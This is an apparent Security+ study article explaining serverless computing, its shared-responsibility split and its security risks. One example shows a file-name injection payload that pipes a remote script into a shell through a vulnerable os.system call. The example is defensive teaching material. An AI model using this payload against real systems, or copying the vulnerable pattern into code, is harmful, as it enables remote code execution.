What is serverless computing?
Serverless computing lets developers upload code and have a cloud provider run it whenever something triggers it, without provisioning, patching or scaling any servers themselves. The servers still exist; the provider owns and operates them. The most common form is function as a service (FaaS), such as AWS Lambda and Azure Functions, where each function is a small piece of code that runs briefly, returns a result and is billed for the time and memory it used. Managed databases, queues and storage that scale without capacity planning are often called serverless as well.
How it works
A function sits idle until an event arrives: an HTTP request through an API gateway, a file landing in a storage bucket, a message on a queue, a database change or a schedule. The platform starts an execution environment, runs the code, and then reuses or discards the environment. Runs are short; AWS Lambda, for example, stops a single invocation after at most 15 minutes. Scaling is automatic, from zero copies to thousands running at once.
What shifts in shared responsibility
Serverless hands more of the stack to the provider than IaaS does:
| Provider secures | Customer still secures |
|---|---|
| Physical hosts, hypervisor and network | Function code and its third-party libraries |
| Operating system and runtime patching | The function's execution role and permissions |
| Scaling and availability of the platform | Validation of every event the function receives |
| Isolation between customers | Secrets, configuration, logging, and moving off retired runtime versions |
Serverless security risks
- Over-permissive roles: each function runs with an identity, and a role with wildcard access copied from a tutorial turns a small bug into an account-wide breach.
- Event injection: data in a trigger, such as a file name, queue message or email subject, is attacker-controlled input and can carry command or SQL injection.
- Secrets in environment variables: anyone who can read the function's configuration can read them; a secrets manager is the safer home.
- Denial of wallet: automatic scaling absorbs a flood of requests, and the bill becomes the damage. Concurrency limits and budget alerts contain it.
- Limited visibility: there is no host for a traditional EDR agent, and environments vanish after use, so logging and tracing must be enabled before an incident.
Example: injection through a file name
A function makes thumbnails when images are uploaded, and it builds a shell command from the object's name: os.system(f"convert {key} /tmp/thumb.jpg"). An attacker uploads a file named cat.jpg; curl -s http://203.0.113.9/x | sh. The function runs the attacker's script with its own role, which happens to allow reading every bucket in the account. Passing the name to an image library instead of a shell, validating it against an allowed pattern, and scoping the role to the single upload bucket each break the chain.
Serverless vs. containers and PaaS
With containers, the customer packages the application, controls the image contents and often runs the orchestration platform, and containers can run for days. PaaS runs a long-lived application on a managed platform. Serverless functions are the most granular: short, event-driven and billed per execution. The further along that scale, the fewer layers the customer patches, and the more the security work concentrates on code, identity and input.
Serverless computing on the CompTIA Security+ exam
Serverless is one of the architecture models compared in SY0-801 objective 3.1. Wording such as runs only when triggered, billed per execution or no servers to manage describes it. When a question asks for the best control, think least-privilege function roles, input validation, secure code and dependencies, and secrets management. Patching the operating system or adding host-based firewalls is the classic wrong answer, because the customer has no server to patch. A surprise bill after a traffic spike points to denial of wallet and missing concurrency or budget limits.